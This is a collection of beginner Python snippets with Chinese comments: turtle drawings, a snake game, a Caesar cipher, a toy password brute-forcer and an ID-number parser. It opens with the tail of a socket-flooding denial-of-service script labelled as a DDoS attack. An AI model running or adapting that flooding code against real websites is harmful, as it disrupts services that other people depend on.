            print("Could not connect to server or send error:%s" % ex)
            time.sleep(1)


# socket循环对目标网站发数据
def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f".encode("utf-8"))
                print("send f OK!")
            except Exception as ex:
                print("Send Exception:%s\n" % ex)
                socks.remove(s)
                s.close()
        time.sleep(0.1)

# 多线程执行两个函数
conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())

conn_th.start()
send_th.start()

ddos攻击 慎重使用

-----------------------------------------------------------


import turtle as t
 
t.speed(10)
t.pensize(8)
t.hideturtle()
t.screensize(500, 500, bg='white')
 
# 猫脸
t.fillcolor('#00A1E8')
t.begin_fill()
t.circle(120)
t.end_fill()
 
t.pensize(3)
t.fillcolor('white')
t.begin_fill()
t.circle(100)
t.end_fill()
 
t.pu()
t.home()
t.goto(0, 134)
t.pd()
t.pensize(4)
t.fillcolor("#EA0014")
t.begin_fill()
t.circle(18)
t.end_fill()
 
t.pu()
t.goto(7, 155)
t.pensize(2)
t.color('white', 'white')
t.pd()
t.begin_fill()
t.circle(4)
t.end_fill()
 
t.pu()
t.goto(-30, 160)
t.pensize(4)
t.pd()
t.color('black', 'white')
t.begin_fill()
a = 0.4
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:
        a = a+0.08
        t.lt(3) #向左转3度
        t.fd(a) #向前走a的步长
    else:
        a = a-0.08
        t.lt(3)
        t.fd(a)
t.end_fill()
 
t.pu()
t.goto(30, 160)
t.pensize(4)
t.pd()
t.color('black', 'white')
t.begin_fill()
for i in range(120):
    if 0 <= i < 30 or 60 <= i < 90:
        a = a+0.08
        t.lt(3)  # 向左转3度
        t.fd(a)  # 向前走a的步长
    else:
        a = a-0.08
        t.lt(3)
        t.fd(a)
t.end_fill()
 
t.pu()
t.goto(-38,190)
t.pensize(8)
t.pd()
t.right(-30)
t.forward(15)
t.right(70)
t.forward(15)
 
t.pu()
t.goto(15, 185)
t.pensize(4)
t.pd()
t.color('black', 'black')
t.begin_fill()
t.circle(13)
t.end_fill()
 
t.pu()
t.goto(13, 190)
t.pensize(2)
t.pd()
t.color('white', 'white')
t.begin_fill()
t.circle(5)
t.end_fill()
 
t.pu()
t.home()
t.goto(0, 134)
t.pensize(4)
t.pencolor('black')
t.pd()
t.right(90)
t.forward(40)
 
t.pu()
t.home()
t.goto(0, 124)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(10)
t.forward(80)
 
t.pu()
t.home()
t.goto(0, 114)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(6)
t.forward(80)
 
t.pu()
t.home()
t.goto(0,104)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(0)
t.forward(80)
 
# 左边的胡子
t.pu()
t.home()
t.goto(0,124)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(170)
t.forward(80)
 
t.pu()
t.home()
t.goto(0, 114)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(174)
t.forward(80)
 
t.pu()
t.home()
t.goto(0, 104)
t.pensize(3)
t.pencolor('black')
t.pd()
t.left(180)
t.forward(80)
 
t.pu()
t.goto(-70, 70)
t.pd()
t.color('black', 'red')
t.pensize(6)
t.seth(-60)
t.begin_fill()
t.circle(80,40)
t.circle(80,80)
t.end_fill()
 
t.pu()
t.home()
t.goto(-80,70)
t.pd()
t.forward(160)
 
t.pu()
t.home()
t.goto(-50,50)
t.pd()
t.pensize(1)
t.fillcolor("#eb6e1a")
t.seth(40)
t.begin_fill()
t.circle(-40, 40)
t.circle(-40, 40)
t.seth(40)
t.circle(-40, 40)
t.circle(-40, 40)
t.seth(220)
t.circle(-80, 40)
t.circle(-80, 40)
t.end_fill()
 
# 领带
t.pu()
t.goto(-70, 12)
t.pensize(14)
t.pencolor('red')
t.pd()
t.seth(-20)
t.circle(200, 30)
t.circle(200, 10)
 
# 铃铛
t.pu()
t.goto(0, -46)
t.pd()
t.pensize(3)
t.color("black", '#f8d102')
t.begin_fill()
t.circle(25)
t.end_fill()
 
 
t.pu()
t.goto(-5, -40)
t.pd()
t.pensize(2)
t.color("black", '#79675d')
t.begin_fill()
t.circle(5)
t.end_fill()
 
t.pensize(3)
t.right(115)
t.forward(7)
 
t.mainloop()
 

 

-----------------------------------------------------------------------

import turtle
 
turtle.pensize(2)
turtle.hideturtle()
windSpeed = 10
radius = 50
 
def windmill(c):
    turtle.pencolor(c)
    turtle.tracer(False) 
    for i in range(4):
        turtle.forward(2*radius)
        turtle.right(90)
        turtle.circle(-radius,180)
 
while True:
    windmill('black')
    turtle.update() 
    windmill('white')
    turtle.right(windSpeed)
 
turtle.done()
 

风车旋转代码

------------------------------------------------------------------------------------


#PythonDraw.py
from turtle import*
setup(650,350,200,200)
penup()
fd(-250)
pendown()
pensize(25)
pencolor("purple")
seth(-40)
for i in range(4):
   circle(40,80)
   circle(-40,80)
circle(40,80/2)
fd(40)
circle(16,180)
fd(40*2/3)
done()

 

 -------------------------------------------------------------------------------------

 

import numpy as np
import random
import pygame

FONT_PX = 15
pygame.init()
winSur = pygame.display.set_mode((500, 600))
font = pygame.font.SysFont('fangsong', 20)
bg_suface = pygame.Surface((500, 600), flags=pygame.SRCALPHA)
pygame.Surface.convert(bg_suface)
bg_suface.fill(pygame.Color(0, 0, 0, 13))
winSur.fill((0, 0, 0))
# 数字
texts = [font.render(str(i), True, (0, 255, 0)) for i in range(10)]
colums = int(500 / FONT_PX)
drops = [0 for i in range(colums)]
while True:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            exit()
    pygame.time.delay(33)
    winSur.blit(bg_suface, (0, 0))
    for i in range(len(drops)):
        text = random.choice(texts)
        winSur.blit(text, (i * FONT_PX, drops[i] * FONT_PX))
        drops[i] += 1
        if drops[i] * 10 > 600 or random.random() > 0.95:
            drops[i] = 0
    pygame.display.flip()

----------------------------------------------------------------------------------------


import time
scale=10
print("------执行开始------")
for i in range(scale+1):
    a='*'*i
    b='.'*(scale-i)
    c=(i/scale)*100
    print("{:^3.0f}%[{}->{}]".format(c,a,b))
    time.sleep(0.1)
    print("------执行结束------")

 

-----------------------------------------------------------------------------------------

import os
def encryption():
    str_raw = input("请输入明文:")
    k = int(input("请输入位移值:"))
    str_change = str_raw.lower()
    str_list = list(str_change)
    str_list_encry = str_list
    i = 0
    while i < len(str_list):
        if ord(str_list[i]) < 123-k:
            str_list_encry[i] = chr(ord(str_list[i]) + k)
        else:
            str_list_encry[i] = chr(ord(str_list[i]) + k - 26)
        i = i+1
    print ("加密结果为:"+"".join(str_list_encry))
def decryption():
    str_raw = input("请输入密文:")
    k = int(input("请输入位移值:"))
    str_change = str_raw.lower()
    str_list = list(str_change)
    str_list_decry = str_list
    i = 0
    while i < len(str_list):
        if ord(str_list[i]) >= 97+k:
            str_list_decry[i] = chr(ord(str_list[i]) - k)
        else:
            str_list_decry[i] = chr(ord(str_list[i]) + 26 - k)
        i = i+1
    print ("解密结果为:"+"".join(str_list_decry))
while True:
    print (u"1. 加密")
    print (u"2. 解密")
    choice = input("请选择:")
    if choice == "1":
        encryption()
    elif choice == "2":
        decryption()
    else:
        print (u"您的输入有误!")
 

凯撒密文

-----------------------------------------------------------------------------------

from turtle import *
from time import sleep
  
def go_to(x, y):
  up()
  goto(x, y)
  down()
  
def head(x,y,r):
  go_to(x,y)
  speed(1)
  circle(r)
  leg(x,y)
  
def leg(x,y):
  
  right(90)
  forward(180)
  right(30)
  forward(100)
  left(120)
  go_to(x,y-180)
  forward(100)
  right(120)
  forward(100)
  left(120)
  hand(x,y)
  
  
def hand(x,y):
  go_to(x,y-60)
  forward(100)
  left(60)
  forward(100)
  go_to(x, y - 90)
  right(60)
  forward(100)
  right(60)
  forward(100)
  left(60)
  eye(x,y)
  
def eye(x,y):
  go_to(x-50,y+130)
  right(90)
  forward(50)
  go_to(x+40,y+130)
  forward(50)
  left(90)
  
  
def big_Circle(size):
  speed(20)
  for i in range(150):
    forward(size)
    right(0.3)
def line(size):
  speed(1)
  forward(51*size)
  
def small_Circle(size):
  speed(10)
  for i in range(210):
    forward(size)
    right(0.786)
  
  
  
def heart(x, y, size):
  go_to(x, y)
  left(150)
  begin_fill()
  line(size)
  big_Circle(size)
  small_Circle(size)
  left(120)
  small_Circle(size)
  big_Circle(size)
  line(size)
  end_fill()
  
def main():
  pensize(2)
  color('red', 'pink')
  head(-120, 100, 100)
  heart(250, -80, 1)
  go_to(200, -300)
  write("To: 智慧与美貌并存的", move=True, align="left", font=("楷体", 20, "normal"))
  done()
  
main()
 

程序⚪的感性  比较干巴

 ----------------------------------------------------------------------------

print('\n'.join([''.join([('Love'[(x-y)%4]if((x*0.05)**2+(y*0.1)**2-1)**3-(x*0.05)**2*(y*0.1)**3<=0 else' ')for x in range(-30,30)])for y in range(15,-15,-1)]))
 

简单胜于繁琐

 ----------------------------------------------------------------

 from turtle import *
from time import *
import turtle
p = Turtle()
p.pensize(2)
turtle.bgcolor("black")
colors = ["red", "yellow", 'purple', 'blue']
p._tracer(False)
for x in range(400):
    p.forward(2*x)
    p.color(colors[x % 4])
    p.left(91)
p._tracer(True)

万花T

--------------------------------------------------------

#calstatistics
def getNum():
    nums=[]
    iNumStr=input("请输入数字(回车退出):")
    while iNumStr != "":
        nums.append(eval(iNumStr))
        iNumStr=input("请输入数字(回车退出):")
    return nums

def mean(numbers):
    s=0.0
    for num in numbers:
        s=s+num
    return s/len(numbers)

def dev(numbers,mean):
    sdev=0.0
    for num in numbers:
        sdev=sdev+(num-mean)**2
    return pow(sdev/(len(numbers)-1),0.5)

def median(numbers):
    sorted(numbers)
    size=len(numbers)
    if size%2==0:
        med=(numbers[size//2-1]+numbers[size//2])/2
    else:
        med=numbers[size//2]
    return med

n=getNum()
m=mean(n)
print("平均数:{},方差:{:.2},中位数:{}.".format(m,dev(n,m),median(n)))
    


    
------------------------------------------------------------------------------------------------------------


from turtle import *
'''
绘制皮卡丘头部
'''
def face(x,y):
    """画脸"""
    begin_fill()
    penup()
    # 将海龟移动到指定的坐标
    goto(x, y)
    pendown()
    # 设置海龟的方向
    setheading(40)

    circle(-150, 69)
    fillcolor("#FBD624")
    # 将海龟移动到指定的坐标
    
    penup()
    goto(53.14, 113.29)
    pendown()
    
    setheading(300)
    circle(-150, 30)
    setheading(295)
    circle(-140, 20)
    print(position())
    forward(5)
    setheading(260)
    circle(-80, 70)
    print(position())
    penup()
    goto(-74.43,-79.09)
    pendown()


    penup()
    # 将海龟移动到指定的坐标
    goto(-144,103)
    pendown()
    setheading(242)
    circle(110, 35)
    right(10)
    forward(10)
    setheading(250)
    circle(80, 115)
    print(position())

    penup()
    goto(-74.43,-79.09)
    pendown()
    setheading(10)
    penup()
    goto(-144, 103)

    pendown()
    penup()
    goto(x, y)
    pendown()


    end_fill()

    # 下巴
    penup()
    goto(-50, -82.09)
    pendown()
    pencolor("#DDA120")
    fillcolor("#DDA120")
    begin_fill()
    setheading(-12)
    circle(120, 25)
    setheading(-145)
    forward(30)
    setheading(180)
    circle(-20, 20)
    setheading(143)
    forward(30)
    end_fill()
    # penup()
    # # 将海龟移动到指定的坐标
    # goto(0, 0)
    # pendown()

def eye():
    """画眼睛"""
    # 左眼
    color("black","black")
    penup()
    goto(-110, 27)
    pendown()
    begin_fill()
    setheading(0)
    circle(24)
    end_fill()
    # 左眼仁
    color("white", "white")
    penup()
    goto(-105, 51)
    pendown()
    begin_fill()
    setheading(0)
    circle(10)
    end_fill()
    # 右眼
    color("black", "black")
    penup()
    goto(25, 40)
    pendown()
    begin_fill()
    setheading(0)
    circle(24)
    end_fill()
    # 右眼仁
    color("white", "white")
    penup()
    goto(17, 62)
    pendown()
    begin_fill()
    setheading(0)
    circle(10)
    end_fill()
def cheek():
    """画脸颊"""
    # 右边
    color("#9E4406", "#FE2C21")
    penup()
    goto(-130, -50)
    pendown()
    begin_fill()
    setheading(0)
    circle(27)
    end_fill()

    # 左边
    color("#9E4406", "#FE2C21")
    penup()
    goto(53, -20)
    pendown()
    begin_fill()
    setheading(0)
    circle(27)
    end_fill()


def nose():
    """画鼻子"""
    color("black", "black")
    penup()
    goto(-40, 38)
    pendown()
    begin_fill()
    circle(7,steps = 3)
    end_fill()
def mouth():
    """画嘴"""
    color("black", "#F35590")
    # 嘴唇
    penup()
    goto(-10, 22)
    pendown()
    begin_fill()
    setheading(260)
    forward(60)
    circle(-11, 150)
    forward(55)
    print(position())
    penup()
    goto(-38.46, 21.97)
    pendown()
    end_fill()

    # 舌头
    color("#6A070D", "#6A070D")
    begin_fill()
    penup()
    goto(-10.00, 22.00)
    pendown()
    penup()
    goto(-14.29, -1.7)
    pendown()
    penup()
    goto(-52, -5)
    pendown()
    penup()
    goto(-60.40, 12.74)
    pendown()
    penup()
    goto(-38.46, 21.97)
    pendown()
    penup()
    goto(-10.00, 22.00)
    pendown()

    end_fill()

    color("black","#FFD624")

    penup()
    goto(-78, 15)
    pendown()
    begin_fill()
    setheading(-25)
    for i in range(2):
        setheading(-25)
        circle(35, 70)

    end_fill()
    color("#AB1945", "#AB1945")
    penup()
    goto(-52, -5)
    pendown()
    begin_fill()
    setheading(40)
    circle(-33, 70)
    goto(-16,-1.7)
    penup()
    goto(-18,-17)
    pendown()
    setheading(155)
    circle(25, 70)
    end_fill()


def ear():
    """画耳朵"""
    # 左耳
    color("black","#FFD624")
    penup()
    goto(-145, 93)
    pendown()
    begin_fill()
    setheading(165)
    circle(-248,50)
    right(120)
    circle(-248,50)
    end_fill()
    color("black", "black")
    penup()
    goto(-240, 143)
    pendown()
    begin_fill()
    setheading(107)
    circle(-170, 25)
    left(80)
    circle(229, 15)
    left(120)
    circle(300, 15)
    end_fill()

    # 右耳
    color("black", "#FFD624")
    penup()
    goto(30, 136)
    pendown()
    begin_fill()
    setheading(64)
    circle(-248, 50)

    right(120)
    circle(-248, 50)
    end_fill()
    color("black", "black")
    penup()
    goto(160, 200)
    pendown()
    begin_fill()
    setheading(52)
    circle(170, 25)
    left(116)
    circle(229, 15)
    left(71)
    circle(-300, 15)
    end_fill()
def setting():
    """设置参数"""
    pensize(2)
    # 隐藏海龟
    hideturtle()
    speed(10)
def main():
    """主函数"""
    setting()
    face(-132,115)
    eye()
    cheek()
    nose()
    mouth()
    ear()
    done()

if __name__ == '__main__':
    main()

 

 -----------------------------------------------------------------------------------

from itertools import product
from time import sleep
from tqdm import tqdm

#密码生成器
def psgen(x=1):
   iter = ['1234567890e']  #ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890abcdefghijklmnopqrstuvwxyz
   for r in iter:
       for repeat in range(x,x+1):
           for ps in product(r,repeat=repeat):
                yield ''.join(ps)
                print(ps)
sum=0
s="123123e"  #要破解的口令
print("wait...")
for ps in tqdm(psgen(len(s))): #多少位
  sum+=1
  if(ps==s):
    print("破解成功!密码为:"+ps)
    break
print("计算了"+str(sum)+"次")
print("完成!")
--------------------------------------------------------------------------------------------

import pygame, sys, random, time
from pygame.locals import *
black_colour = pygame.Color(28, 56, 20)
white_colour = pygame.Color(255, 144, 20)
red_colour = pygame.Color(255,34 , 20)
grey_colour = pygame.Color(150, 150, 150)

def GameOver(gamesurface):
    
    GameOver_font = pygame.font.SysFont("MicrosoftYaHei", 16)
    
    GameOver_colour = GameOver_font.render('GameOver', True, grey_colour)#只能英文
    
    GameOver_location = GameOver_colour.get_rect()
    GameOver_location.midtop = (310, 200)
    
    gamesurface.blit(GameOver_colour, GameOver_location)
    
    pygame.display.flip()
    
    time.sleep(5)
    
    pygame.quit()
    
    sys.exit()

def main():
    
    pygame.init()
    pygame.time.Clock()
    ftpsClock = pygame.time.Clock()
    
    gamesurface = pygame.display.set_mode((640, 480))
    
    pygame.display.set_caption('tanchishe snake')
    
    snakeposition = [100, 100]
    
    snakelength = [[100, 100], [80, 100], [60, 100]]
    
    square_purpose = [300, 300]
    
    square_position = 1
    
    derection = "right"
    change_derection = derection
    
    while True:
        
        for event in pygame.event.get():
            if event.type == QUIT:
                
                pygame.quit()
                sys.exit()
            elif event.type == KEYDOWN:
               
                if event.key == K_RIGHT or event.key == ord('d'):
                    change_derection = "right"
                if event.key == K_LEFT or event.key == ord('a'):
                    change_derection = "left"
                if event.key == K_UP or event.key == ord('w'):
                    change_derection = "up"
                if event.key == K_DOWN or event.key == ord('s'):
                    change_derection = "down"
                if event.key == K_ESCAPE:
                    pygame.event.post(pygame.event.Event(QUIT))
        
        if change_derection == 'left' and not derection == 'right':
            derection = change_derection
        if change_derection == 'right' and not derection == 'left':
            derection = change_derection
        if change_derection == 'up' and not derection == 'down':
            derection = change_derection
        if change_derection == 'down' and not derection == 'up':
            derection = change_derection
       
        if derection == 'left':
            snakeposition[0] -= 20
        if derection == 'right':
            snakeposition[0] += 20
        if derection == 'up':
            snakeposition[1] -= 20
        if derection == 'down':
            snakeposition[1] += 20
        
        snakelength.insert(0, list(snakeposition))
        
        if snakeposition[0] == square_purpose[0] and snakeposition[1] == square_purpose[1]:
            square_position = 0
        else:
            snakelength.pop()
        
        if square_position == 0:
            
            x = random.randrange(1, 32)
            y = random.randrange(1, 24)
            square_purpose = [int(x * 20), int(y * 20)]
            square_position = 1
        
        gamesurface.fill(black_colour)
        for position in snakelength:
            pygame.draw.rect(gamesurface, white_colour, Rect(position[0], position[1], 20, 20))
            pygame.draw.rect(gamesurface, red_colour, Rect(square_purpose[0], square_purpose[1], 20, 20))
        
        pygame.display.flip()
        
        if snakeposition[0] < 0 or snakeposition[0] > 620:
            GameOver(gamesurface)
        if snakeposition[1] < 0 or snakeposition[1] > 460:
            GameOver(gamesurface)
        for snakebody in snakelength[1:]:
            if snakeposition[0] == snakebody[0] and snakeposition[1] == snakebody[1]:
                GameOver(gamesurface)
        
        ftpsClock.tick(8)
if __name__ == "__main__":
    main()
 

贪吃蛇

----------------------------------------------------------------------------------------------------------------


import turtle
R = 200                                 
turtle.screensize(400, 300, "gray")     
turtle.pensize(3)                       
turtle.pencolor('black')                
turtle.speed(10)                        
TJT_color = {1: 'white', -1: 'black'}   
color_list = [1, -1]


for c in color_list:
    turtle.fillcolor(TJT_color.get(c))  
    turtle.begin_fill()  
 
    
    turtle.circle(R / 2, 180)
    turtle.circle(R, 180)
    turtle.circle(R / 2, -180)
    turtle.end_fill()           
 
    
    turtle.penup()              
    turtle.goto(0, R / 3 * c)   
    turtle.pendown()            
    turtle.fillcolor(TJT_color.get(-c))  
    turtle.begin_fill()
    turtle.circle(-R / 6, 360)
    turtle.end_fill()
 
    
    turtle.penup()
    turtle.goto(0, 0)
    turtle.pendown()
 
turtle.done()
 

 -----------------------------------------------------------------------------------------------

 #T.py
import time
for i in range(101):
    print("\r{:3}%".format(i),end="")
    time.sleep(0.1)

进度条

----------------------------------------------------------------------------------

from winsound import Beep#天空之城
from playsound import playsound
def sound():
    Beep(880, 250)

    Beep(988, 250)

    Beep(523 * 2, 600)

    Beep(988, 300)

    Beep(523 * 2, 600)

    Beep(659 * 2, 600)

    Beep(988, 1000)

    Beep(659, 250)

    Beep(659, 250)

    Beep(880, 600)

    Beep(784, 300)

    Beep(880, 600)

    Beep(523 * 2, 600)

    Beep(784, 1000)

    Beep(659, 600)

    Beep(698, 800)

    Beep(659, 300)

    Beep(698, 600)

    Beep(523 * 2, 600)

    Beep(659, 980)

    Beep(523 * 2, 250)

    Beep(523 * 2, 250)

    Beep(523 * 2, 250)

    Beep(988, 600)

    Beep(739, 300)

    Beep(739, 600)

    Beep(988, 600)

    Beep(988, 1000)

    Beep(880, 250)

    Beep(988, 250)

    Beep(523 * 2, 600)

    Beep(988, 300)

    Beep(523 * 2, 600)

    Beep(659 * 2, 600)

    Beep(988, 1000)

    Beep(659, 250)

    Beep(659, 250)

    Beep(880, 600)

    Beep(784, 300)

    Beep(880, 600)

    Beep(523 * 2, 600)

    Beep(784, 1000)

    Beep(659, 600)

    Beep(698, 800)

    Beep(659, 300)

    Beep(698, 600)

    Beep(523 * 2, 600)

    Beep(659, 980)

    Beep(523 * 2, 250)

    Beep(523 * 2, 250)

    Beep(523 * 2, 250)

    Beep(988, 600)

    Beep(739, 300)

    Beep(739, 600)

    Beep(988, 600)

    Beep(988, 1000)
# 天空之城
while 1:
    sound()

------------------------------------------------------------------

shuru=input('请输入需要转换的字符:');
a=ord(shuru);
c=ord(shuru) - 1;
d=chr(c);
print(shuru ,'的unicode码是:',a,'\n',shuru,'的上一个字母是',d);
 

unicode码

----------------------------------------------------------------------

from turtle import *  
from random import random,randint  
screen = Screen()  
width ,height = 800,600  
screen.setup(width,height)  
screen.title("模拟3D星空")  
screen.bgcolor("black")  
screen.mode("logo")  
screen.delay(0)#这里要设为0,否则很卡  
t = Turtle(visible = False,shape='circle')  
t.pencolor("white")  
t.fillcolor("white")  
t.penup()  
t.setheading(-90)  
t.goto(width/2,randint(-height/2,height/2))  
stars = []  
for i in range(200):  
    star = t.clone()  
    s =random() /3  
    star.shapesize(s,s)  
    star.speed(int(s*10))  
    star.setx(width/2 + randint(1,width))  
    star.sety( randint(-height/2,height/2))  
    star.showturtle()  
    stars.append(star)  
while True:  
    for star in stars:  
        star.setx(star.xcor() - 3 * star.speed())  
    if star.xcor()<-width/2:  
        star.hideturtle()  
        star.setx(width/2 + randint(1,width))  
        star.sety( randint(-height/2,height/2))  
        star.showturtle()

 

-----------------------------------------------------------------------------


ID=input('请输入18位身份证号码:');
if len(ID)==18:
    print('您输入的身份证号码是:'+ID);
else:
    print('你输入的身份证号码错误,请重新输入:');
    ID=input('请输入18位身份证号码:');

ID_add=ID[0:2]     #省份,截出前两位 2个数
ID_birth=ID[6:14]  #8个数
ID_sex=ID[16:17]   #1个数
#print(ID_add,ID_birth,ID_sex)
pro={'11':'北京','12':'天津','13':'河北','14':'山西','15':'内蒙',
     '21':'辽宁','22':'吉林','23':'黑龙江','31':'上海','32':'江苏',
     '33':'浙江','34':'安徽','35':'福建','36':'江西','37':'山东',
     '41':'河北','42':'湖北','43':'湖南','44':'广东','45':'广西',
     '46':'海南','50':'重庆','51':'四川','52':'贵州','53':'云南',
     '54':'西藏','61':'陕西','62':'甘肃','63':'青海','64':'宁夏',
     '65':'新疆','71':'台湾','81':'香港'
    }

sx='猴鸡狗猪鼠牛虎兔龙蛇马羊'

def getbirth(a):  #读取生日,生肖函数
    year=a[0:4]
    moon=a[4:6]
    day=a[6:]
    y=int(year)%12
    print('您的生日为:'+year+'年'+moon+'月'+day+'日')
    print('您的生肖为:',sx[y])
    
getbirth(ID_birth)

def getsex(a):    #读取性别函数
    if int(a)%2==0:
        print('您的性别为: 女')
    else :
        print('您的性别为: 男')

getsex(ID_sex)

def getxz(a): 
   month=int(a[4:6])
   day=int(a[6:8])
   n = ('摩羯座','水瓶座','双鱼座','白羊座','金牛座','双子座','巨蟹座','狮子座','处女座','天秤座','天蝎座','射手座')
   d = ((1,20),(2,19),(3,21),(4,21),(5,21),(6,22),(7,23),(8,23),(9,23),(10,23),(11,23),(12,23))
   m=n[len(list(filter(lambda y:y<(month,day),d)))%12]
   print('您的星座为:',m)

getxz(ID_birth)

def getpro(key):  #读取省份函数
    key_list=list(pro.keys())
    if key in key_list:
        print('您所在的省份为:',pro[key])
    else:
        print('未查到对应的省份,请核实身份证号码是否正确!')
    
getpro(ID_add)


----------------------------------------------------------

import turtle as T
import random
import time
 
# 画樱花的躯干(60,t)
def Tree(branch, t):
    time.sleep(0.0005)
    if branch > 3:
        if 8 <= branch <= 12:
            if random.randint(0, 2) == 0:
                t.color('snow')  # 白
            else:
                t.color('lightcoral')  # 淡珊瑚色
            t.pensize(branch / 3)
        elif branch < 8:
            if random.randint(0, 1) == 0:
                t.color('snow')
            else:
                t.color('lightcoral')  # 淡珊瑚色
            t.pensize(branch / 2)
        else:
            t.color('sienna')  # 赭(zhě)色
            t.pensize(branch / 10)  # 6
        t.forward(branch)
        a = 1.5 * random.random()
        t.right(20 * a)
        b = 1.5 * random.random()
        Tree(branch - 10 * b, t)
        t.left(40 * a)
        Tree(branch - 10 * b, t)
        t.right(20 * a)
        t.up()
        t.backward(branch)
        t.down()
 
# 掉落的花瓣
def Petal(m, t):
    for i in range(m):
        a = 200 - 400 * random.random()
        b = 10 - 20 * random.random()
        t.up()
        t.forward(b)
        t.left(90)
        t.forward(a)
        t.down()
        t.color('lightcoral')  # 淡珊瑚色
        t.circle(1)
        t.up()
        t.backward(a)
        t.right(90)
        t.backward(b)
 
# 绘图区域
t = T.Turtle()
# 画布大小
w = T.Screen()
t.hideturtle()  # 隐藏画笔
t.getscreen().tracer(5, 0)
w.screensize(bg='wheat')  # wheat小麦
t.left(90)
t.up()
t.backward(150)
t.down()
t.color('sienna')
 
# 画樱花的躯干
Tree(60, t)
# 掉落的花瓣
Petal(200, t)
w.exitonclick()
 

-----------------------------------------------------------

import os
num=int(input("请输入一个代表分钟的整数:"))
y=num//(60*24*365)
d=num//(60*24)%365
h=num//60%24
m=num%60
print("这个分钟代表{}年{}天{}小时{}分钟".format(y,d,h,m))
 

 

 

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